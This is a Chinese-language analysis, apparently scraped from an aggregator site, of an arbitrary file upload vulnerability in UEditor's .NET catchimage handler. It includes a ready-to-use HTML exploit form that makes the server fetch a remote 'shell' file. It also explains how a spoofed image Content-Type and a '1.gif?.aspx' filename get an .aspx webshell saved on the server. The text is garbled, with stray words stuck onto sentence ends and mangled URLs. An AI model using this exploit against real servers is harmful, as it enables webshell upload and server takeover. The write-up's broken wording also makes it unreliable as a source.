UEditor編輯器任意文件上傳漏洞分析

ue下載地址
http://http://ueditor.baidu.com/website/download.html
exphtml

<form action="http://192.168.1.103/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">

  <p>shell addr:<input type="text" name="source[]" /></p >

  <inputtype="submit" value="Submit" />

</form>

咱們首先來看一下目錄結構web

ue是一個典型的net webshell

bin目錄和app_code目錄其中bin下面引用的是jsondll 所以這裏咱們不分析dlljson

主要仍是看app_code目錄下面的cs文件 首先隨便跟進一個方法看看有沒有任意文件上傳的可能性app

首先看到uploadimages方法url

而這裏正好是由於引用了上面的dll 因此能夠直接加載jsonspa

這裏第一步先實例化UploadHandler類 而後第二部從json獲取各類配置信息 穿給類裏面的值code

傳遞完成值後直接開始上傳方法orm

而後對上傳文件進行判斷htm

咱們跟進方法

那麼漏洞是怎麼造成的吶?

漏洞在CrawlerHandler這個類裏面

若是訪問則直接判斷返回文件的ContentType 這裏咱們能夠直接Content-Type: image/png繞過

這裏先傳入source[] 而後實列化Crawler類 咱們進入這個class查看 首先經過IsExternalIPAddress方法判斷是不是一個可被DNS解析的域名地址

那麼他文件名是怎麼獲取的吶?

這裏能夠很清楚的看見也是http://SYSTEM.IO裏面的個體filename獲取最後一個點結尾的 可是咱們又不能以.aspx結尾 這裏問好就起做用了,再url裏面1.gif?.aspx會被默認當成1.gif解析可是傳遞給咱們的文件ext倒是.aspx結尾的

因此漏洞由此形成
參考
https://www.freebuf.com/vuls/181814.html

相關文章
相關標籤/搜索